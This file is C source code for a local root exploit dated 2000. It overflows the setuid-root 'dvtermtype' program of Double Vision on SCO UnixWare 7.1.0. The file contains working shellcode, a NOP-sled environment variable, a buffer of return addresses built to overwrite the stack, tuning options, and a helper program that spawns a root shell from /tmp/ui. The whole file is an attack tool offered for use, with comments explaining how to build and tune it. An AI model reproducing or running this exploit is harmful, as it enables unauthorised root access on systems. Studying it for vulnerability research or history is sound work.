/*
 * dvexploit.c
 *
 * written by :	Stephen J. Friedl
 *		Software Consultant
 *		2000-06-24
 *		steve@unixwiz.net
 *
 *	This program exploits the "Double Vision" system on SCO
 *	Unixware 7.1.0 via a buffer overflow on the "dvtermtype"
 *	program. Double Vision is like a "pcAnywhere for UNIX",
 *	but quite a few programs in this distribution are setuid
 *	root. The problem is that these programs were not written
 *	with security in mind, and it's not clear that they even
 *	need to be setuid root.
 *
 *	This particular program exploits "dvtermtype" by passing a
 *	very long second parameter that overflows some internal
 *	buffer. This buffer is filled with a predicted address
 *	of the shellcode, and the shellcode itself is stored in
 *	a very long environment variable. This approach makes
 *	the shellcode much easier to find.
 *
 *	This shellcode was based directly on the great work of
 *	Brock Tellier (btellier@usa.net), who seems to spend a lot
 *	of time within with various SCO UNIX release. Thanks!
 *
 *	This shellcode runs /tmp/ui, which should be this simple
 *	program:
 *
 *	$ cd /tmp
 *	$ cat ui.c
 *	int main() { setreuid(0,0); system("/bin/sh"); return 0; }
 *	$ cc ui.c -o ui
 *
 *	Brock's original work compiled this automatically, but I
 *	prefer to do it by hand. A better approach is to do the
 *	setreuid() in the shellcode and call /bin/sh directly.
 *	Maybe another day.
 *
 * BUILD/TEST ENVIRONMENT
 * ----------------------
 *
 *	$ cc -v
 *	UX:cc: INFO: Optimizing C Compilation System  (CCS) 3.2  03/03/99 (CA-unk_voyager5)
 *
 *	$ uname -a
 *	UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
 *
 *	from /usr/lib/dv/README
 *
 *		DoubleVision for Character Terminals Release 3.0
 *		Last Update:  December 7, 1999
 *
 * TUNING
 * ------
 *
 *	The default parameters to this program work on the versions mentioned
 *	above, but for variants some tuning might be required. There are three
 *	parameters that guide this program's operation:
 *
 *	-a retaddr	set the "return" address to the given hex value,
 *			which is the address where we expect to find the
 *			exploit code in the environment. The environment
 *			is at a relatively fixed location just below
 *			0x80000000, so getting "close" is usually sufficient.
 *			Note that this address cannot have any zero bytes
 *			in it! We believe that the target code has enough
 *			padding NOP values to make it an easy target.
 *
 *	-r retlen	length of the overflowed "return address" buffer,
 *			which is filled in with the address provided above.
 *			Default = 2k, max = 5k.
 *
 *	-l n		slightly shift the alignment of the return address
 *			buffer by 1, 2 or 3 in case the buffer that's being
 *			overflowed.
 */

#include <stdlib.h>
#include <stdio.h>

/*-----------------------------------------------------------------------
 * shellcode for SCO UnixWare
 *
 *	The shellcode in the binary was derived from assembler code
 *	below, and we put the asm() code inside the function so we
 *	can disassemble it and get the binary bytes easier. The code
 *	all should match, but the real original data is the full
 *	asm() code.
 */
#if 1

static const char scoshell[] =
	"\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"
	"\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
	"\xe2\xff\xff\xff"
	"/tmp/ui"
	"\xaa\xaa\xaa\xaa"
	"\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#else

extern char	scoshell[];

static void foo()
{
  asm("#-------------------------------------------");
  asm("scoshell:");
  asm("		jmp	L1b");			/* go to springboard	*/
  asm("	L2b:	popl	%esi");			/* addr of /tmp/ui	*/
  asm("		xorl	%ebx,%ebx");		/* %ebx <-- 0		*/
  asm("		movl	%ebx,  7(%esi)");	/* mark end of string	*/
  asm("		movl	%ebx, 12(%esi)");	/* 0 to lcall addr	*/
  asm("		movb	%bl,  17(%esi)");	/* 0 to lcall sub addr	*/
  asm("		xorl	%eax,%eax");		/* %eax <-- 0		*/
  asm("		movb	$0x3b, %al");		/* 0x3b = "execve"	*/
  asm("		leal	7(%esi), %edi");	/* addr of NULL word	*/
  asm("		pushl	%ebx");			/* zero			*/
  asm("		pushl	%edi");			/* addr of NULL word	*/
  asm("		pushl	%esi");			/* addr of "/tmp/ui"	*/
  asm("		pushl	%esi");			/* addr of "/tmp/ui"	*/
  asm("		jmp	L3b");			/* do OS call		*/
  asm("	L1b:	call	L2b");
  asm("		.ascii	\"/tmp/ui\"");		/* %esi			*/
  asm("		.4byte	0xaaaaaaaa");		/* %esi[ 7]		*/
  asm("	L3b:	lcall	$0xaa07,$0xaaaaaaaa");	/* OS call		*/
  asm("		.byte	0x00");			/* endmarker 		*/
  asm("#-------------------------------------------");
}

#endif

#define NOP	0x90

static char	*env[10],	// environment strings
		*arg[10];	// argument vector

/*------------------------------------------------------------------------
 * "Addr" is the predicted address where the shellcode starts in the
 * environment buffer. This was determined empirically based on a test
 * program that ran similarly, and it ought to be fairly consistent.
 * This can be changed with the "-a" parameter.
 */
static long	addr = 0x7ffffc04;

static char	*exefile = "/usr/lib/dv/dvtermtype";

int main(int argc, char *argv[])
{
	int	c;
	int	i;
	char	egg[1024];
	int	egglen = sizeof egg - 1;
	int	retlen = 2048;
	char	retbuf[5000];
	int	align = 0;
	char	*p;

	setbuf(stdout, (char *)0 );

	while ( (c = getopt(argc, argv, "a:r:l:")) != EOF )
	{
		switch (c)
		{
		  case 'a':	addr = strtol(optarg, 0, 16); break;
		  case 'l':	align = atoi(optarg); break;
		  case 'r':	retlen = atoi(optarg); break;
		}
	}

	if ( optind < argc )
		exefile = argv[optind++];

	printf("UnixWare 7.x exploit for suid root Double Vision\n");
	printf("Stephen Friedl <steve@unixwiz.net>\n");
	printf("Using addr=0x%x   retlen=%d\n", addr, retlen);

	/*---------------------------------------------------------------
	 * sanity check: the return buffer requested can't be too big,
	 * and the address can't have any zero bytes in it.
	 */
	if ( retlen > sizeof(retbuf) )
	{
		printf("ERROR: retlen can't be > %d\n", sizeof(retlen));
		exit(1);
	}

	p = (char *)&addr;

	if ( !p[0] || !p[1] || !p[2] || !p[3] )
	{
		printf("ERROR: ret address 0x%08lx has a zero byte!\n", addr);
		exit(1);
	}

	/*---------------------------------------------------------------
	 * Now create the "return" buffer that is used to overflow the
	 * return address. This buffer really has nothing in it other than
	 * repeated copies of the phony return address, and one of them
	 * will overwrite the real %EIP on the stack. Then when the called
	 * function returns, it jumps to our code.
	 *
	 * It's possible that this requires alignment to get right, so
	 * the "-l" param above can be used to adjust this from 0..3.
	 * If we're aligning, be sure to fill in the early part of the
	 * buffer with non-zero bytes ("XXXX");
	 */
	strcpy(&retbuf, "XXXX");

	for (i = align; i < retlen - 4; i += 4)
	{
		memcpy(retbuf+i, &addr, 4);
	}
	retbuf[i] = 0;

	printf("strlen(retbuf) = %d\n", strlen( (char *)retbuf) );

	/*---------------------------------------------------------------
	 * The "egg" is our little program that is stored in the environment
	 * vector, and it's mostly filled with NOP values but with our little
	 * root code at the end. Gives a wide "target" to hit: any of the
	 * leading bytes hits a NOP and flows down to the real code.
	 *
	 * The overall buffer is
	 *
 	 *	X=################xxxxxxxxxxxxxxxxxxxxx\0
	 *
	 * where # is a NOP instruction, and "X" is the exploit code. There
	 * must be a terminating NUL byte so the environment processor does
	 * the right thing also.
	 */
	memset(egg, NOP, egglen);
	memcpy(egg, "EGG=", 4);

	// put our egg in the tail end of this buffer
	memcpy(egg + (egglen - strlen(scoshell)- 1), scoshell, strlen(scoshell));

	egg[egglen] = '\0';

	/* build up regular command line */

	arg[0] = exefile;
	arg[1] = "dvexploit";		/* easy to find this later */
	arg[2] = (char *)retbuf;
	arg[3] = 0;

	/*---------------------------------------------------------------
	 * build up the environment that contains our shellcode. This
	 * keeps it off the stack.
	 */
	env[0] = egg;
	env[1] = 0;

	execve(arg[0], arg, env);
}
/*                   www.hack.co.za   [20 September 2000]*/